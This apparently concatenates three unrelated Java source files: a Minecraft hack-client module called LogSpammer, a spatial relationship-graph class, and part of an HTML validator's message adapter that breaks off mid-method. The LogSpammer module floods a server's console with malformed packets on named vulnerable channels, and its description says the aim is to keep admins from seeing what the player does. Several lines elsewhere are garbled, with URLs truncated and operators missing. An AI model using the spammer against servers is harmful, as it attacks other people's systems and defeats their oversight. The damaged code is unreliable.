package net.wurstclient.features.mods; import java.util.Random; import io.netty.buffer.Unpooled; import net.minecraft.network.PacketBuffer; import net.minecraft.network.play.client.CPacketCustomPayload; import net.wurstclient.compatibility.WConnection; import net.wurstclient.events.listeners.UpdateListener; @Mod.Info( description = "Fills the server console with errors so that admins can't see what you are doing.\n" + "Patched on Spigot.", name = "LogSpammer", help = "Mods/LogSpammer") @Mod.Bypasses(ghostMode = false) public final class LogSpammerMod extends Mod implements UpdateListener { private PacketBuffer payload; private Random random; private final String[] vulnerableChannels = new String[]{"MC|BEdit", "MC|BSign", "MC|TrSel", "MC|PickItem"}; @Override public void onEnable() { random = new Random(); payload = new PacketBuffer(Unpooled.buffer()); byte[] rawPayload = new byte[random.nextInt(128)]; random.nextBytes(rawPayload); payload.writeBytes(rawPayload); wurst.events.add(UpdateListener.class, this); } @Override public void onDisable() { wurst.events.remove(UpdateListener.class, this); } @Override public void onUpdate() { updateMS(); if(hasTimePassedM(100)) { WConnection.sendPacket(new CPacketCustomPayload( vulnerableChannels[random.nextInt(vulnerableChannels.length)], payload)); updateLastMS(); } } }
package no.uio.ifi.qure.traversal; import java.util.Set; import java.util.HashSet; import java.util.ArrayList; import java.util.List; import java.util.Map; import java.util.HashMap; import java.util.ArrayList; import java.util.Collection; import java.util.Iterator; import java.util.Comparator; import java.util.Arrays; import no.uio.ifi.qure.util.*; import no.uio.ifi.qure.space.*; import no.uio.ifi.qure.bintree.*; import no.uio.ifi.qure.relation.*; public class RelationshipGraph { private final Map<SID, Node> nodes; private final Map<Integer, Set<SID>> roleToSID; private final Set<SID> topmostNodes; private int overlapsNodeId; // Always negative, and decreasing private final Block block; private final RelationSet relations; public RelationshipGraph(Block block, Set<SID> uris, RelationSet relations) { this.block = block; this.relations = relations; topmostNodes = new HashSet<SID>(uris); // Init all uris as roots, and remove if set parent of some node nodes = new HashMap<SID, Node>(); roleToSID = new HashMap<Integer, Set<SID>>(); for (Integer role : relations.getRoles()) { roleToSID.put(role, new HashSet<SID>()); } for (SID uri : uris) { nodes.put(uri, new Node(uri)); roleToSID.get(uri.getRole()).add(uri); } overlapsNodeId = 0; } public void addUris(Set<SID> newUris) { for (SID uri : newUris) { if (!nodes.containsKey(uri)) { topmostNodes.add(uri); nodes.put(uri, new Node(uri)); } } } private SID newOverlapsNode() { overlapsNodeId SID ovSID = new SID(overlapsNodeId); nodes.put(ovSID, new Node(ovSID)); return ovSID; } public boolean isOverlapsNode(SID nodeSID) { return nodeSID.getID() < 0; } public Map<SID, Node> getNodes() { return nodes; } /** * Adds a containment-relationship between child and parent if necessary (not already in graph). */ public void addCoveredBy(SID child, SID parent) { Node cn = nodes.get(child); Node pn = nodes.get(parent); if (cn.succs.contains(parent)) { return; // Relationship already in node } Set<SID> both = new HashSet<SID>(2); both.add(child); both.add(parent); removeOverlapsNodes(getRedundantOverlapNodes(both)); // Locally update coveredBy cn.succs.add(parent); topmostNodes.remove(child); // Locally update covers pn.preds.add(child); // Transitive closure cn.succs.addAll(pn.succs); pn.preds.addAll(cn.preds); for (SID parentsParent : pn.succs) { Node ppn = nodes.get(parentsParent); ppn.preds.add(child); ppn.preds.addAll(pn.preds); } for (SID childsChild : cn.preds) { Node ccn = nodes.get(childsChild); ccn.succs.add(parent); ccn.succs.addAll(cn.succs); } } /** * Sets child to be contained in all elements of parents. */ public void addCoveredBy(SID child, Set<SID> parents) { for (SID parent : parents) { addCoveredBy(child, parent); } } private void addBefore(SID u1, SID u2) { Node n1 = nodes.get(u1); n1.before.add(u2); } private SID addOverlapsWithoutRedundancyCheck(Set<SID> parents) { SID child = newOverlapsNode(); addCoveredBy(child, parents); return child; } /** * If parents does not already share a common predecessor overlaps node, a new node is added * as such a node. * If new node added, we will remove other nodes that now become redundant. */ private SID addOverlapsWithRedundancyCheck(Set<SID> parents) { if (parents.size() < 2 || overlaps(parents)) return null; // Overlaps relationship not already contained. // We then add the new overlaps. SID newNode = newOverlapsNode(); addCoveredBy(newNode, parents); // Lastly, remove the nodes becoming redundant when adding the new. removeRedundantWRT(newNode); return newNode; } private void removeRedundantWRT(SID uri) { Node n = nodes.get(uri); Set<SID> redundant = getRedundantOverlapNodes(n.succs); redundant.remove(uri); removeOverlapsNodes(redundant); } private boolean overlaps(Set<SID> parents) { // We check redundancy by trying to find a common pred (ov. node) for parents. Iterator<SID> parIter = parents.iterator(); Node par = nodes.get(parIter.next()); // Init commonPreds to contain all overlapsNodes from one parent Set<SID> commonPreds = new HashSet<SID>(par.preds); // We then intersects this set with all preds of rest of parents while (parIter.hasNext() && !commonPreds.isEmpty()) { par = nodes.get(parIter.next()); commonPreds.retainAll(par.preds); } return !commonPreds.isEmpty(); } private Set<SID> getRedundantOverlapNodes(Set<SID> parents) { Set<SID> toRemove = new HashSet<SID>(); for (SID parent : parents) { Node pn = nodes.get(parent); for (SID pred : pn.preds) { Node ppn = nodes.get(pred); if (isOverlapsNode(pred) && parents.containsAll(ppn.succs)) { toRemove.add(pred); } } } return toRemove; } public void removeOverlapsNode(SID uri) { Node n = nodes.get(uri); for (SID parent : n.succs) { Node pn = nodes.get(parent); pn.preds.remove(uri); } nodes.remove(uri); } private void removeOverlapsNodes(Set<SID> uris) { for (SID uri : uris) { removeOverlapsNode(uri); } } /** * Constructs a relaionship graph based on the relationships between the spaces in spaceNode with * overlaps-arity up to overlapsArity. */ public static RelationshipGraph makeRelationshipGraph(TreeNode spaceNode, RelationSet relations) { SpaceProvider spaces = spaceNode.getSpaceProvider(); Set<SID> uris = spaceNode.getOverlappingURIs(); Map<SID, Set<SID>> intMap = new HashMap<SID, Set<SID>>(); for (SID uri : uris) { intMap.put(uri, new HashSet<SID>()); } RelationshipGraph graph = new RelationshipGraph(spaceNode.getBlock(), uris, relations); // SID[] urisArr = uris.toArray(new SID[uris.size()]); // Set<Intersection> intersections = new HashSet<Intersection>(); // graph.computeBinaryRelations(urisArr, spaces, intersections, intMap); // graph.computeKIntersections(intersections, uris, spaces, intMap); graph.computeRelationshipGraphOpt(spaces); return graph; } private void addRelationshipToGraph(AtomicRelation rel, Collection<SID> tuple) { if (rel instanceof Overlaps) { addOverlapsWithRedundancyCheck(new HashSet<SID>(tuple)); } else if (rel instanceof PartOf) { List<SID> tupleLst = (List<SID>) tuple; addCoveredBy(tupleLst.get(0), tupleLst.get(1)); } else { List<SID> tupleLst = (List<SID>) tuple; addBefore(tupleLst.get(0), tupleLst.get(1)); } } private void addRelationshipsToGraph(Map<AtomicRelation, Set<Tuple>> tuples) { // Add PartOfs first, so that redundancy checks are correct for Overlaps for (AtomicRelation rel : tuples.keySet()) { if (rel instanceof PartOf) { for (Tuple tuple : tuples.get(rel)) { addRelationshipToGraph(rel, tuple.getElements()); } } } for (int i = RelationSet.getHighestArity(tuples.keySet()); i > 0; i for (AtomicRelation rel : RelationSet.getRelationsWithArity(i, tuples.keySet())) { if (!(rel instanceof PartOf)) { for (Tuple tuple : tuples.get(rel)) { addRelationshipToGraph(rel, tuple.getElements()); } } } } } /** * Constructs the relationship graph between the SIDs by traversing the implication graph between * the relationships topologically. It computes all satisfying tuples in each layer based on possible tuples * from the highest-arity relation from the lower level. */ private void computeRelationshipGraphOpt(SpaceProvider spaces) { // tuples contains map from relation to tuples/lists (with witness space) satisfying that relation // The witness space is the intersection of the spaces in the list, and can be used to optimize computation // of other more specific relationships (e.g. higher arity overlaps or part-of) Map<AtomicRelation, Set<Tuple>> tuples = new HashMap<AtomicRelation, Set<Tuple>>(); // nexRels contains all relations to visit next according to implication graph. Start at leaves. Set<AtomicRelation> nextRels = new HashSet<AtomicRelation>(relations.getImplicationGraphLeaves()); // currentRels will contain the relations to visit this iteration, taken from previou's nextRels. Set<AtomicRelation> currentRels; Set<AtomicRelation> visited = new HashSet<AtomicRelation>(); while (!nextRels.isEmpty()) { currentRels = new HashSet<AtomicRelation>(nextRels); nextRels.clear(); for (AtomicRelation rel : currentRels) { tuples.putIfAbsent(rel, new HashSet<Tuple>()); if (!rel.getImpliesRelations().isEmpty()) { // We only have to check tuples that occur in intersection of possible tuples of lower levels. // However, they might have different arity, so we only take the tuples of highest arity. Set<AtomicRelation> relsWHighestArity = RelationSet.getRelationsWithHighestArity(rel.getImpliesRelations()); Pair<AtomicRelation, Set<AtomicRelation>> someRel = Utils.getSome(relsWHighestArity); Set<Tuple> possibleTuples = new HashSet<Tuple>(tuples.get(someRel.fst)); for (AtomicRelation impliesRel : someRel.snd) { possibleTuples.retainAll(tuples.get(impliesRel)); } for (Tuple possible : possibleTuples) { Set<Tuple> toAdd = rel.evalAll(spaces, possible, roleToSID); if (!toAdd.isEmpty()) { tuples.get(rel).addAll(toAdd); for (AtomicRelation pred : rel.getImpliesRelations()) { tuples.get(pred).remove(possible); // Possible implied by tuples in toAdd } } } } else { // Leaf-relation, thus we need to check all constructable tuples from spaces tuples.get(rel).addAll(rel.evalAll(spaces, roleToSID)); } visited.add(rel); nextRels.addAll(rel.getImpliedByWithOnlyVisitedChildren(visited)); } } addRelationshipsToGraph(tuples); } private void computeRelationshipGraph(SpaceProvider spaces) { for (AtomicRelation rel : relations.getAtomicRelations()) { Set<Tuple> tuples = rel.evalAll(spaces, roleToSID); for (Tuple tuple : tuples) { if (rel instanceof Overlaps) { addOverlapsWithRedundancyCheck((Set<SID>) tuple.getElements()); } else if (rel instanceof PartOf) { List<SID> tupleLst = (List<SID>) tuple.getElements(); addCoveredBy(tupleLst.get(0), tupleLst.get(1)); } else { List<SID> tupleLst = (List<SID>) tuple.getElements(); addBefore(tupleLst.get(0), tupleLst.get(1)); } } } } private boolean sameBefore(SID sid1, Set<SID> sids) { Node n1 = nodes.get(sid1); for (SID sid2 : sids) { Node n2 = nodes.get(sid2); if (!n1.before.equals(n2.before)) { return false; } } return true; } private boolean beforeAll(SID sid1, Set<SID> sids) { Node n1 = nodes.get(sid1); for (SID sid2 : sids) { if (!n1.before.contains(sid2)) { return false; } } return true; } private void updateClasses(SID toAdd, List<Set<SID>> equivs) { for (int i = 0; i < equivs.size(); i++) { Set<SID> eqClass = equivs.get(i); if (sameBefore(toAdd, eqClass)) { eqClass.add(toAdd); return; } else if (beforeAll(toAdd, eqClass)) { Set<SID> newClass = new HashSet<SID>(); newClass.add(toAdd); equivs.add(i, newClass); // Add to end of equivs return; } } // Not added, so we add it as a new class Set<SID> newClass = new HashSet<SID>(); newClass.add(toAdd); equivs.add(newClass); // Add to end of equivs } private List<Set<SID>> computeBFClasses() { List<Set<SID>> equivs = new ArrayList<Set<SID>>(); for (SID toAdd : nodes.keySet()) { updateClasses(toAdd, equivs); } return equivs; } // TODO: Make more optimal ordering based on partOf-relationships private SID[] getNodesOrder() { SID[] order = new SID[nodes.keySet().size()]; int i = 0; for (Set<SID> bfc : computeBFClasses()) { for (SID sid : bfc) { order[i] = sid; i++; } } return order; } // private Set<SID> imidiatePreds(Node n) { // Set<SID> res = new HashSet<SID>(n.preds); // for (SID pred : n.preds) { // res.removeAll(nodes.get(pred).preds); // return res; // private int orderNodes(SID[] order, int i, SID uri) { // Node n = nodes.get(uri); // if (n.visited) { // return i; // } else { // n.visited = true; // for (SID preds : imidiatePreds(n)) { // i = orderNodes(order, i, preds); // order[i++] = uri; // return i; // private SID[] getNodesOrder() { // SID[] order = new SID[nodes.keySet().size()]; // int k = 0; // for (SID tm : sortAccToBefore(topmostNodes)) { // k = orderNodes(order, k, tm); // if (k == order.length) { // return order; // // We have (topmost) cycles, which are not yet visited // for (SID uri : nodes.keySet()) { // Node n = nodes.get(uri); // if (n.visited) { // continue; // } else { // k = orderNodes(order, k, uri); // return order; // TODO: Long method, split into smaller! public Representation constructRepresentation() { // Construct sufficient unique parts and order nodes according to infix traversal Block[] witnessesArr = Block.makeNDistinct(nodes.keySet().size()+1); SID[] order = getNodesOrder(); Map<SID, Bintree> localRep = new HashMap<SID, Bintree>(); Map<SID, Block> wit = new HashMap<SID, Block>(); // Distribute unique parts for (int i = 0; i < order.length; i++) { Block bt = block.append(witnessesArr[i]); localRep.put(order[i], Bintree.fromBlock(bt)); if (!isOverlapsNode(order[i])) { wit.put(order[i], bt); } } // Propagate nodes representations according to containments for (SID uri : nodes.keySet()) { Node n = nodes.get(uri); Bintree nodeBT = localRep.get(uri); for (SID pred : n.preds) { nodeBT = nodeBT.union(localRep.get(pred)); } localRep.put(uri, nodeBT); } // Set unique part-blocks and add to final representation Map<Integer, Bintree> urisRep = new HashMap<Integer, Bintree>(); for (SID uri : localRep.keySet()) { if (!isOverlapsNode(uri)) { Set<Block> bs = localRep.get(uri).normalize().getBlocks(); Block w = wit.get(uri); Set<Block> cbs = new HashSet<Block>(); for (Block b : bs) { if (w.blockPartOf(b)) { cbs.add(b.setUniquePart(true).addRole(uri.getRole())); } else { cbs.add(b.addRole(uri.getRole())); } } if (!urisRep.containsKey(uri.getID())) { urisRep.put(uri.getID(), new Bintree(cbs)); } else { urisRep.put(uri.getID(), urisRep.get(uri.getID()).union(new Bintree(cbs))); } } } return new Representation(urisRep); } class Node { SID uri; boolean visited; // Used for post-fix ordering of nodes Set<SID> preds; Set<SID> succs; Set<SID> before; public Node(SID uri) { this.uri = uri; visited = false; preds = new HashSet<SID>(); succs = new HashSet<SID>(); before = new HashSet<SID>(); } } }
package nu.validator.messages; import java.io.IOException; import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.LinkedList; import java.util.List; import java.util.Map; import java.util.TreeMap; import java.util.regex.Pattern; import java.util.Set; import nu.validator.checker.NormalizationChecker; import nu.validator.checker.DatatypeMismatchException; import nu.validator.checker.VnuBadAttrValueException; import nu.validator.checker.VnuBadElementNameException; import nu.validator.datatype.Html5DatatypeException; import nu.validator.io.DataUri; import nu.validator.io.SystemIdIOException; import nu.validator.messages.types.MessageType; import nu.validator.saxtree.DocumentFragment; import nu.validator.saxtree.TreeParser; import nu.validator.servlet.imagereview.Image; import nu.validator.servlet.imagereview.ImageCollector; import nu.validator.source.Location; import nu.validator.source.SourceCode; import nu.validator.source.SourceHandler; import nu.validator.spec.EmptySpec; import nu.validator.spec.Spec; import nu.validator.spec.html5.Html5AttributeDatatypeBuilder; import nu.validator.spec.html5.ImageReportAdviceBuilder; import nu.validator.xml.AttributesImpl; import nu.validator.xml.CharacterUtil; import nu.validator.xml.XhtmlSaxEmitter; import org.relaxng.datatype.DatatypeException; import org.xml.sax.ContentHandler; import org.xml.sax.ErrorHandler; import org.xml.sax.SAXException; import org.xml.sax.SAXParseException; import com.thaiopensource.relaxng.exceptions.AbstractValidationException; import com.thaiopensource.relaxng.exceptions.BadAttributeValueException; import com.thaiopensource.relaxng.exceptions.ImpossibleAttributeIgnoredException; import com.thaiopensource.relaxng.exceptions.OnlyTextNotAllowedException; import com.thaiopensource.relaxng.exceptions.OutOfContextElementException; import com.thaiopensource.relaxng.exceptions.RequiredAttributesMissingException; import com.thaiopensource.relaxng.exceptions.RequiredAttributesMissingOneOfException; import com.thaiopensource.relaxng.exceptions.RequiredElementsMissingException; import com.thaiopensource.relaxng.exceptions.RequiredElementsMissingOneOfException; import com.thaiopensource.relaxng.exceptions.StringNotAllowedException; import com.thaiopensource.relaxng.exceptions.TextNotAllowedException; import com.thaiopensource.relaxng.exceptions.UnfinishedElementException; import com.thaiopensource.relaxng.exceptions.UnfinishedElementOneOfException; import com.thaiopensource.relaxng.exceptions.UnknownElementException; import com.thaiopensource.xml.util.Name; import org.apache.log4j.Logger; import com.ibm.icu.text.Normalizer; @SuppressWarnings("unchecked") public class MessageEmitterAdapter implements ErrorHandler { private static final Logger log4j = Logger.getLogger(MessageEmitterAdapter.class); private final static Map<String, char[]> WELL_KNOWN_NAMESPACES = new HashMap<>(); static { WELL_KNOWN_NAMESPACES.put("", "unnamespaced".toCharArray()); WELL_KNOWN_NAMESPACES.put("http: "XHTML".toCharArray()); WELL_KNOWN_NAMESPACES.put("http: "SVG".toCharArray()); WELL_KNOWN_NAMESPACES.put("http: "MathML".toCharArray()); WELL_KNOWN_NAMESPACES.put("http: "Atom".toCharArray()); WELL_KNOWN_NAMESPACES.put("http: "XLink".toCharArray()); WELL_KNOWN_NAMESPACES.put("http://docbook.org/ns/docbook", "DocBook".toCharArray()); WELL_KNOWN_NAMESPACES.put("http://relaxng.org/ns/structure/1.0", "RELAX NG".toCharArray()); WELL_KNOWN_NAMESPACES.put("http: "XML".toCharArray()); WELL_KNOWN_NAMESPACES.put("http: "XSLT".toCharArray()); WELL_KNOWN_NAMESPACES.put("http: "XBL2".toCharArray()); WELL_KNOWN_NAMESPACES.put( "http: "XUL".toCharArray()); WELL_KNOWN_NAMESPACES.put( "http://www.w3.org/1999/02/22-rdf-syntax-ns "RDF".toCharArray()); WELL_KNOWN_NAMESPACES.put("http://purl.org/dc/elements/1.1/", "Dublin Core".toCharArray()); WELL_KNOWN_NAMESPACES.put("http: "XML Schema Instance".toCharArray()); WELL_KNOWN_NAMESPACES.put("http: "XHTML2".toCharArray()); WELL_KNOWN_NAMESPACES.put("http: "Schematron".toCharArray()); WELL_KNOWN_NAMESPACES.put("http://purl.oclc.org/dsdl/schematron", "ISO Schematron".toCharArray()); WELL_KNOWN_NAMESPACES.put( "http: "Inkscape".toCharArray()); WELL_KNOWN_NAMESPACES.put( "http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd", "Sodipodi".toCharArray()); WELL_KNOWN_NAMESPACES.put("http: "OpenMath".toCharArray()); WELL_KNOWN_NAMESPACES.put( "http://ns.adobe.com/AdobeSVGViewerExtensions/3.0/", "Adobe SVG Viewer 3.0 extension".toCharArray()); WELL_KNOWN_NAMESPACES.put("http://ns.adobe.com/AdobeIllustrator/10.0/", "Adobe Illustrator 10.0".toCharArray()); WELL_KNOWN_NAMESPACES.put("adobe:ns:meta/", "XMP Container".toCharArray()); WELL_KNOWN_NAMESPACES.put("http://ns.adobe.com/xap/1.0/", "XMP".toCharArray()); WELL_KNOWN_NAMESPACES.put("http://ns.adobe.com/pdf/1.3/", "Adobe PDF 1.3".toCharArray()); WELL_KNOWN_NAMESPACES.put("http://ns.adobe.com/tiff/1.0/", "Adobe TIFF".toCharArray()); } @SuppressWarnings("rawtypes") private final static Map<Class, DocumentFragment> HTML5_DATATYPE_ADVICE = new HashMap<>(); private final static DocumentFragment IMAGE_REPORT_GENERAL; private final static DocumentFragment IMAGE_REPORT_EMPTY; private final static DocumentFragment NO_ALT_NO_LINK_ADVICE; private final static DocumentFragment NO_ALT_LINK_ADVICE; private final static DocumentFragment EMPTY_ALT_ADVICE; private final static DocumentFragment HAS_ALT_ADVICE; private final static DocumentFragment IMAGE_REPORT_FATAL; private static final String SPEC_LINK_URI = System.getProperty( "nu.validator.spec.html5-link", "https://html.spec.whatwg.org/multipage/"); private static final long MAX_MESSAGES = Integer.parseInt(System.getProperty( "nu.validator.messages.limit", "1000")); private static final Map<String, String[]> validInputTypesByAttributeName = new TreeMap<>(); static { validInputTypesByAttributeName.put("accept", new String[] { "#attr-input-accept", "file" }); validInputTypesByAttributeName.put("alt", new String[] { "#attr-input-alt", "image" }); validInputTypesByAttributeName.put("autocomplete", new String[] { "#attr-input-autocomplete", "text", "search", "url", "tel", "email", "password", "date", "month", "week", "time", "datetime-local", "number", "range", "color" }); validInputTypesByAttributeName.put("autofocus", new String[] { "#attr-fe-autofocus" }); validInputTypesByAttributeName.put("checked", new String[] { "#attr-input-checked", "checkbox", "radio" }); validInputTypesByAttributeName.put("dirname", new String[] { "#attr-input-dirname", "text", "search" }); validInputTypesByAttributeName.put("disabled", new String[] { "#attr-fe-disabled" }); validInputTypesByAttributeName.put("form", new String[] { "#attr-fae-form" }); validInputTypesByAttributeName.put("formaction", new String[] { "#attr-fs-formaction", "submit", "image" }); validInputTypesByAttributeName.put("formenctype", new String[] { "#attr-fs-formenctype", "submit", "image" }); validInputTypesByAttributeName.put("formmethod", new String[] { "#attr-fs-formmethod", "submit", "image" }); validInputTypesByAttributeName.put("formnovalidate", new String[] { "#attr-fs-formnovalidate", "submit", "image" }); validInputTypesByAttributeName.put("formtarget", new String[] { "#attr-fs-formtarget", "submit", "image" }); validInputTypesByAttributeName.put("height", new String[] { "#attr-dim-height", "image" }); validInputTypesByAttributeName.put("list", new String[] { "#attr-input-list", "text", "search", "url", "tel", "email", "date", "month", "week", "time", "datetime-local", "number", "range", "color" }); validInputTypesByAttributeName.put("max", new String[] { "#attr-input-max", "date", "month", "week", "time", "datetime-local", "number", "range", }); validInputTypesByAttributeName.put("maxlength", new String[] { "#attr-input-maxlength", "text", "search", "url", "tel", "email", "password" }); validInputTypesByAttributeName.put("min", new String[] { "#attr-input-min", "date", "month", "week", "time", "datetime-local", "number", "range", }); validInputTypesByAttributeName.put("multiple", new String[] { "#attr-input-multiple", "email", "file" }); validInputTypesByAttributeName.put("name", new String[] { "#attr-fe-name" }); validInputTypesByAttributeName.put("pattern", new String[] { "#attr-input-pattern", "text", "search", "url", "tel", "email", "password" }); validInputTypesByAttributeName.put("placeholder", new String[] { "#attr-input-placeholder", "text", "search", "url", "tel", "email", "password", "number" }); validInputTypesByAttributeName.put("readonly", new String[] { "#attr-input-readonly", "text", "search", "url", "tel", "email", "password", "date", "month", "week", "time", "datetime-local", "number" }); validInputTypesByAttributeName.put("required", new String[] { "#attr-input-required", "text", "search", "url", "tel", "email", "password", "date", "month", "week", "time", "datetime-local", "number", "checkbox", "radio", "file" }); validInputTypesByAttributeName.put("size", new String[] { "#attr-input-size", "text", "search", "url", "tel", "email", "password" }); validInputTypesByAttributeName.put("src", new String[] { "#attr-input-src", "image" }); validInputTypesByAttributeName.put("step", new String[] { "#attr-input-step", "date", "month", "week", "time", "datetime-local", "number", "range", }); validInputTypesByAttributeName.put("type", new String[] { "#attr-input-type" }); validInputTypesByAttributeName.put("value", new String[] { "#attr-input-value" }); validInputTypesByAttributeName.put("width", new String[] { "#attr-dim-width", "image" }); } private static final Map<String, String> fragmentIdByInputType = new TreeMap<>(); static { fragmentIdByInputType.put("hidden", "#hidden-state-(type=hidden)"); fragmentIdByInputType.put("text", "#text-(type=text)-state-and-search-state-(type=search)"); fragmentIdByInputType.put("search", "#text-(type=text)-state-and-search-state-(type=search)"); fragmentIdByInputType.put("tel", "#telephone-state-(type=tel)"); fragmentIdByInputType.put("url", "#url-state-(type=url)"); fragmentIdByInputType.put("email", "#e-mail-state-(type=email)"); fragmentIdByInputType.put("password", "#password-state-(type=password)"); fragmentIdByInputType.put("date", "#date-state-(type=date)"); fragmentIdByInputType.put("month", "#month-state-(type=month)"); fragmentIdByInputType.put("week", "#week-state-(type=week)"); fragmentIdByInputType.put("time", "#time-state-(type=time)"); fragmentIdByInputType.put("datetime-local", "#local-date-and-time-state-(type=datetime-local)"); fragmentIdByInputType.put("number", "#number-state-(type=number)"); fragmentIdByInputType.put("range", "#range-state-(type=range)"); fragmentIdByInputType.put("color", "#color-state-(type=color)"); fragmentIdByInputType.put("checkbox", "#checkbox-state-(type=checkbox)"); fragmentIdByInputType.put("radio", "#radio-button-state-(type=radio)"); fragmentIdByInputType.put("file", "#file-upload-state-(type=file)"); fragmentIdByInputType.put("submit", "#submit-button-state-(type=submit)"); fragmentIdByInputType.put("image", "#image-button-state-(type=image)"); fragmentIdByInputType.put("reset", "#reset-button-state-(type=reset)"); fragmentIdByInputType.put("button", "#button-state-(type=button)"); } static { try { HTML5_DATATYPE_ADVICE.putAll(Html5AttributeDatatypeBuilder.parseSyntaxDescriptions()); List<DocumentFragment> list = ImageReportAdviceBuilder.parseAltAdvice(); IMAGE_REPORT_GENERAL = list.get(0); NO_ALT_NO_LINK_ADVICE = list.get(1); NO_ALT_LINK_ADVICE = list.get(2); EMPTY_ALT_ADVICE = list.get(3); HAS_ALT_ADVICE = list.get(4); IMAGE_REPORT_EMPTY = list.get(5); IMAGE_REPORT_FATAL = list.get(6); } catch (IOException | SAXException e) { throw new RuntimeException(e); } } private final static char[] INDETERMINATE_MESSAGE = "The result cannot be determined due to a non-document-error.".toCharArray(); private final static char[] ELEMENT_SPECIFIC_ATTRIBUTES_BEFORE = "Attributes for element ".toCharArray(); private final static char[] ELEMENT_SPECIFIC_ATTRIBUTES_AFTER = ":".toCharArray(); private final static char[] CONTENT_MODEL_BEFORE = "Content model for element ".toCharArray(); private final static char[] CONTENT_MODEL_AFTER = ":".toCharArray(); private final static char[] CONTEXT_BEFORE = "Contexts in which element ".toCharArray(); private final static char[] CONTEXT_AFTER = " may be used:".toCharArray(); private final static char[] BAD_VALUE = "Bad value ".toCharArray(); private final static char[] POTENTIALLY_BAD_VALUE = "Potentially bad value ".toCharArray(); private final static char[] BAD_ELEMENT_NAME = "Bad element name".toCharArray(); private final static char[] POTENTIALLY_BAD_ELEMENT_NAME = "Potentially bad element name".toCharArray(); private final static char[] FOR = " for ".toCharArray(); private final static char[] ATTRIBUTE = "attribute ".toCharArray(); private final static char[] FROM_NAMESPACE = " from namespace ".toCharArray(); private final static char[] SPACE = " ".toCharArray(); private final static char[] ON = " on ".toCharArray(); private final static char[] ELEMENT = "element ".toCharArray(); private final static char[] PERIOD = ".".toCharArray(); private final static char[] COMMA = ", ".toCharArray(); private final static char[] COLON = ":".toCharArray(); private final static char[] NOT_ALLOWED_ON = " not allowed on ".toCharArray(); private final static char[] AT_THIS_POINT = " at this point.".toCharArray(); private final static char[] ONLY_TEXT = " is not allowed to have content that consists solely of text.".toCharArray(); private final static char[] NOT_ALLOWED = " not allowed".toCharArray(); private final static char[] AS_CHILD_OF = " as child of ".toCharArray(); private final static char[] IN_THIS_CONTEXT_SUPPRESSING = " in this context. (Suppressing further errors from this subtree.)".toCharArray(); private final static char[] REQUIRED_ATTRIBUTES_MISSING = " is missing required attribute ".toCharArray(); private final static char[] REQUIRED_ATTRIBUTES_MISSING_ONE_OF = " is missing one or more of the following attributes: ".toCharArray(); private final static char[] REQUIRED_ELEMENTS_MISSING = "Required elements missing.".toCharArray(); private final static char[] IS_MISSING_A_REQUIRED_CHILD = " is missing a required child element".toCharArray(); private final static char[] REQUIRED_CHILDREN_MISSING_FROM = " is missing a required instance of child element ".toCharArray(); private final static char[] REQUIRED_CHILDREN_MISSING_ONE_OF_FROM = " is missing a required instance of one or more of the following child elements: ".toCharArray(); private final static char[] BAD_CHARACTER_CONTENT = "Bad character content ".toCharArray(); private final static char[] IN_THIS_CONTEXT = " in this context.".toCharArray(); private final static char[] TEXT_NOT_ALLOWED_IN = "Text not allowed in ".toCharArray(); private final static char[] UNKNOWN = "Unknown ".toCharArray(); private static final char[] NO_ALT_NO_LINK_HEADING = "No textual alternative available, not linked".toCharArray(); private static final char[] NO_ALT_LINK_HEADING = "No textual alternative available, image linked".toCharArray(); private static final char[] EMPTY_ALT = "Empty textual alternative\u2014Omitted from non-graphical presentation".toCharArray(); private static final char[] HAS_ALT = "Images with textual alternative".toCharArray(); private static final String[] DEFAULT_FILTER_STRINGS = { // Salvation messages that are a little bit ahead of their time yet ".*Authors who wish to regulate nested browsing contexts.*", ".*deprecates “report-uri” in favour of a new “report-to” directive.*", ".*is only used for backwards compatibility with older CSP.*", ".*Unknown pseudo-element or pseudo-class \u201C:focus-within\u201D.*", ".*leader(.+)is not a \u201Ccontent\u201D value.*", }; protected static final Pattern DEFAULT_FILTER_PATTERN = Pattern.compile( String.join("|", DEFAULT_FILTER_STRINGS)); private final AttributesImpl attributesImpl = new AttributesImpl(); private final char[] oneChar = { '\u0000' }; private int warnings = 0; private int errors = 0; private int fatalErrors = 0; private final boolean batchMode; private int nonDocumentErrors = 0; private final Pattern filterPattern; private final SourceCode sourceCode; private final MessageEmitter emitter; private final ExactErrorHandler exactErrorHandler; private final boolean showSource; private final ImageCollector imageCollector; private int lineOffset; private Spec spec = EmptySpec.THE_INSTANCE; private boolean html = false; private boolean loggingOk = false; private boolean errorsOnly = false; @SuppressWarnings("deprecation") protected static String scrub(String s) throws SAXException { if (s == null) { return null; } s = CharacterUtil.prudentlyScrubCharacterData(s); if (NormalizationChecker.startsWithComposingChar(s)) { s = " " + s; } return Normalizer.normalize(s, Normalizer.NFC, 0); } private StringBuilder zapLf(StringBuilder builder) { int len = builder.length(); for (int i = 0; i < len; i++) { char c = builder.charAt(i); if (c == '\n' || c == '\r') { builder.setCharAt(i, ' '); } } return builder; } private void throwIfTooManyMessages() throws SAXException { if (!batchMode && (warnings + errors > MAX_MESSAGES)) { throw new TooManyErrorsException("Too many messages."); } } public MessageEmitterAdapter(Pattern filterPattern, SourceCode sourceCode, boolean showSource, ImageCollector imageCollector, int lineOffset, boolean batchMode, MessageEmitter messageEmitter) { super(); this.filterPattern = filterPattern; this.sourceCode = sourceCode; this.emitter = messageEmitter; this.exactErrorHandler = new ExactErrorHandler(this); this.showSource = showSource; this.lineOffset = lineOffset; this.batchMode = batchMode; this.imageCollector = imageCollector; } /** * For nu.validator.client.TestRunner */ public MessageEmitterAdapter() { super(); this.filterPattern = null; this.sourceCode = null; this.emitter = null; this.exactErrorHandler = null; this.showSource = false; this.lineOffset = 0; this.batchMode = false; this.imageCollector = null; } /** * @return Returns the errors. */ public int getErrors() { return errors; } /** * @return Returns the fatalErrors. */ public int getFatalErrors() { return fatalErrors; } /** * @return Returns the warnings. */ public int getWarnings() { return warnings; } private boolean isErrors() { return !(errors == 0 && fatalErrors == 0); } /** * @see org.xml.sax.ErrorHandler#warning(org.xml.sax.SAXParseException) */ @Override public void warning(SAXParseException e) throws SAXException { warning(e, false); } /** * @param e * @throws SAXException */ private void warning(SAXParseException e, boolean exact) throws SAXException { if ((!batchMode && fatalErrors > 0) || nonDocumentErrors > 0) { return; } this.warnings++; throwIfTooManyMessages(); messageFromSAXParseException(MessageType.WARNING, e, exact, null); } /** * @see org.xml.sax.ErrorHandler#error(org.xml.sax.SAXParseException) */ @Override public void 